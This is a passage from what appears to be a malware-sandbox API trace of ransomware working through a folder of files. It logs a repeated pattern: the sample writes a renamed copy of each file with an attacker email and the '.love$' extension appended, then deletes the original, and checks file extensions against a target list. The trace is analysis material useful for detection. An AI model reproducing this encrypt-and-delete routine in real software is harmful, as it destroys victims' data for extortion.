dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.719] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.719] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0096.719] GetLastError () returned 0x0 [0096.719] ReadFile (in: hFile=0x314, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0xe8e, lpOverlapped=0x0) returned 1 [0096.721] WriteFile (in: hFile=0x318, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xe90, lpOverlapped=0x0) returned 1 [0096.722] ReadFile (in: hFile=0x314, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0096.722] WriteFile (in: hFile=0x318, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xe4, lpOverlapped=0x0) returned 1 [0096.723] SetEndOfFile (hFile=0x318) returned 1 [0096.723] CloseHandle (hObject=0x318) returned 1 [0096.724] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.724] SetEndOfFile (hFile=0x314) returned 1 [0096.725] CloseHandle (hObject=0x314) returned 1 [0096.725] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0096.726] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 1 [0096.726] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0096.726] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0096.726] lstrlenW (lpString=".doc") returned 4 [0096.726] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0096.726] lstrlenW (lpString=".docx") returned 5 [0096.726] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0096.726] lstrlenW (lpString=".pdf") returned 4 [0096.726] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0096.726] lstrlenW (lpString=".xls") returned 4 [0096.726] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0096.726] lstrlenW (lpString=".xlsx") returned 5 [0096.726] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0096.726] lstrlenW (lpString=".ppt") returned 4 [0096.726] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0096.726] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0096.726] lstrlenW (lpString=".zip") returned 4 [0096.726] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0096.726] lstrlenW (lpString=".rar") returned 4 [0096.726] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0096.726] lstrlenW (lpString=".bz2") returned 4 [0096.726] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0096.727] lstrlenW (lpString=".7z") returned 3 [0096.727] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0096.727] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0096.727] lstrlenW (lpString=".dbf") returned 4 [0096.727] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0096.727] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0096.727] lstrlenW (lpString=".1cd") returned 4 [0096.727] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0096.727] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0096.727] lstrlenW (lpString=".jpg") returned 4 [0096.727] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0096.727] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0096.727] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0096.727] lstrlenW (lpString=".doc") returned 4 [0096.727] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0096.727] lstrlenW (lpString=".docx") returned 5 [0096.727] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0096.727] lstrlenW (lpString=".pdf") returned 4 [0096.727] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0096.727] lstrlenW (lpString=".xls") returned 4 [0096.727] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0096.727] lstrlenW (lpString=".xlsx") returned 5 [0096.727] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0096.727] lstrlenW (lpString=".ppt") returned 4 [0096.727] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0096.727] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0096.727] lstrlenW (lpString=".zip") returned 4 [0096.727] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0096.727] lstrlenW (lpString=".rar") returned 4 [0096.728] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0096.728] lstrlenW (lpString=".bz2") returned 4 [0096.728] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0096.728] lstrlenW (lpString=".7z") returned 3 [0096.728] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0096.728] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0096.728] lstrlenW (lpString=".dbf") returned 4 [0096.728] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0096.728] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0096.728] lstrlenW (lpString=".1cd") returned 4 [0096.728] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0096.728] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0096.728] lstrlenW (lpString=".jpg") returned 4 [0096.728] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0096.728] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0096.728] lstrlenW (lpString="LocalizedData.xml") returned 17 [0096.728] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0096.729] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=80970) returned 1 [0096.729] CloseHandle (hObject=0x314) returned 1 [0096.729] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 0x80 [0096.729] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0096.729] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0096.729] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.729] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.729] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0096.730] GetLastError () returned 0x0 [0096.730] ReadFile (in: hFile=0x314, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x13c4a, lpOverlapped=0x0) returned 1 [0096.734] WriteFile (in: hFile=0x318, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x13c50, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x13c50, lpOverlapped=0x0) returned 1 [0096.737] ReadFile (in: hFile=0x314, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0096.737] WriteFile (in: hFile=0x318, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xf6, lpOverlapped=0x0) returned 1 [0096.738] SetEndOfFile (hFile=0x318) returned 1 [0096.738] CloseHandle (hObject=0x318) returned 1 [0096.744] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.745] SetEndOfFile (hFile=0x314) returned 1 [0096.747] CloseHandle (hObject=0x314) returned 1 [0096.747] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0096.747] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 1 [0096.748] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0096.748] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0096.748] lstrlenW (lpString=".doc") returned 4 [0096.748] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0096.748] lstrlenW (lpString=".docx") returned 5 [0096.748] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0096.748] lstrlenW (lpString=".pdf") returned 4 [0096.748] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0096.748] lstrlenW (lpString=".xls") returned 4 [0096.748] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0096.748] lstrlenW (lpString=".xlsx") returned 5 [0096.748] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0096.748] lstrlenW (lpString=".ppt") returned 4 [0096.748] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0096.748] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0096.748] lstrlenW (lpString=".zip") returned 4 [0096.748] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0096.748] lstrlenW (lpString=".rar") returned 4 [0096.749] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0096.749] lstrlenW (lpString=".bz2") returned 4 [0096.749] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0096.749] lstrlenW (lpString=".7z") returned 3 [0096.749] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0096.749] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0096.749] lstrlenW (lpString=".dbf") returned 4 [0096.749] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0096.749] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0096.749] lstrlenW (lpString=".1cd") returned 4 [0096.749] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0096.749] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0096.749] lstrlenW (lpString=".jpg") returned 4 [0096.749] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0096.749] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0096.749] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0096.749] lstrlenW (lpString=".doc") returned 4 [0096.749] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0096.749] lstrlenW (lpString=".docx") returned 5 [0096.749] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0096.749] lstrlenW (lpString=".pdf") returned 4 [0096.749] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0096.749] lstrlenW (lpString=".xls") returned 4 [0096.749] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0096.749] lstrlenW (lpString=".xlsx") returned 5 [0096.749] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0096.749] lstrlenW (lpString=".ppt") returned 4 [0096.750] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0096.750] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0096.750] lstrlenW (lpString=".zip") returned 4 [0096.750] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0096.750] lstrlenW (lpString=".rar") returned 4 [0096.750] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0096.750] lstrlenW (lpString=".bz2") returned 4 [0096.750] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0096.750] lstrlenW (lpString=".7z") returned 3 [0096.750] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0096.750] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0096.750] lstrlenW (lpString=".dbf") returned 4 [0096.750] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0096.750] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0096.750] lstrlenW (lpString=".1cd") returned 4 [0096.750] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0096.750] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0096.750] lstrlenW (lpString=".jpg") returned 4 [0096.750] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0096.750] lstrcmpiW (lpString1=".rtf", lpString2=".love$") returned 1 [0096.750] lstrlenW (lpString="eula.rtf") returned 8 [0096.750] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0096.751] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=3314) returned 1 [0096.751] CloseHandle (hObject=0x314) returned 1 [0096.751] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 0x80 [0097.136] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0097.136] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0097.136] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0097.136] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0097.136] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0097.137] GetLastError () returned 0x0 [0097.137] ReadFile (in: hFile=0x2d8, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0xcf2, lpOverlapped=0x0) returned 1 [0097.140] WriteFile (in: hFile=0x344, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xd00, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xd00, lpOverlapped=0x0) returned 1 [0097.141] ReadFile (in: hFile=0x2d8, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0097.141] WriteFile (in: hFile=0x344, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xe4, lpOverlapped=0x0) returned 1 [0097.141] SetEndOfFile (hFile=0x344) returned 1 [0097.141] CloseHandle (hObject=0x344) returned 1 [0097.142] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0097.143] SetEndOfFile (hFile=0x2d8) returned 1 [0097.144] CloseHandle (hObject=0x2d8) returned 1 [0097.144] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0097.144] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 1 [0097.144] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0097.144] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0097.145] lstrlenW (lpString=".doc") returned 4 [0097.145] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0097.145] lstrlenW (lpString=".docx") returned 5 [0097.145] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0097.145] lstrlenW (lpString=".pdf") returned 4 [0097.145] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0097.145] lstrlenW (lpString=".xls") returned 4 [0097.145] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0097.145] lstrlenW (lpString=".xlsx") returned 5 [0097.145] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0097.145] lstrlenW (lpString=".ppt") returned 4 [0097.145] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0097.145] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0097.145] lstrlenW (lpString=".zip") returned 4 [0097.145] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0097.145] lstrlenW (lpString=".rar") returned 4 [0097.145] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0097.145] lstrlenW (lpString=".bz2") returned 4 [0097.145] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0097.145] lstrlenW (lpString=".7z") returned 3 [0097.145] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0097.145] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0097.145] lstrlenW (lpString=".dbf") returned 4 [0097.145] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0097.145] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0097.145] lstrlenW (lpString=".1cd") returned 4 [0097.145] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0097.145] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0097.146] lstrlenW (lpString=".jpg") returned 4 [0097.146] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0097.146] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0097.146] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0097.146] lstrlenW (lpString=".doc") returned 4 [0097.146] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0097.146] lstrlenW (lpString=".docx") returned 5 [0097.146] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0097.146] lstrlenW (lpString=".pdf") returned 4 [0097.146] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0097.146] lstrlenW (lpString=".xls") returned 4 [0097.146] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0097.146] lstrlenW (lpString=".xlsx") returned 5 [0097.146] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0097.146] lstrlenW (lpString=".ppt") returned 4 [0097.146] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0097.146] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0097.146] lstrlenW (lpString=".zip") returned 4 [0097.146] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0097.146] lstrlenW (lpString=".rar") returned 4 [0097.146] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0097.146] lstrlenW (lpString=".bz2") returned 4 [0097.146] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0097.146] lstrlenW (lpString=".7z") returned 3 [0097.146] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0097.146] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0097.147] lstrlenW (lpString=".dbf") returned 4 [0097.147] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0097.147] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0097.147] lstrlenW (lpString=".1cd") returned 4 [0097.147] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0097.147] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0097.147] lstrlenW (lpString=".jpg") returned 4 [0097.147] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0097.147] Sleep (dwMilliseconds=0x64) [0097.453] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0097.453] lstrlenW (lpString="LocalizedData.xml") returned 17 [0097.453] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0099.916] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=77232) returned 1 [0099.916] CloseHandle (hObject=0x350) returned 1 [0099.917] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 0x80 [0099.917] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0099.917] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0099.917] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.917] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.917] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0099.918] GetLastError () returned 0x0 [0099.918] ReadFile (in: hFile=0x350, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x12db0, lpOverlapped=0x0) returned 1 [0099.941] WriteFile (in: hFile=0x344, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x12dc0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x12dc0, lpOverlapped=0x0) returned 1 [0099.944] ReadFile (in: hFile=0x350, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0099.944] WriteFile (in: hFile=0x344, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xf6, lpOverlapped=0x0) returned 1 [0099.944] SetEndOfFile (hFile=0x344) returned 1 [0099.945] CloseHandle (hObject=0x344) returned 1 [0099.949] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.949] SetEndOfFile (hFile=0x350) returned 1 [0099.950] CloseHandle (hObject=0x350) returned 1 [0099.950] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0099.951] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 1 [0099.951] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0099.951] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0099.951] lstrlenW (lpString=".doc") returned 4 [0099.951] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0099.951] 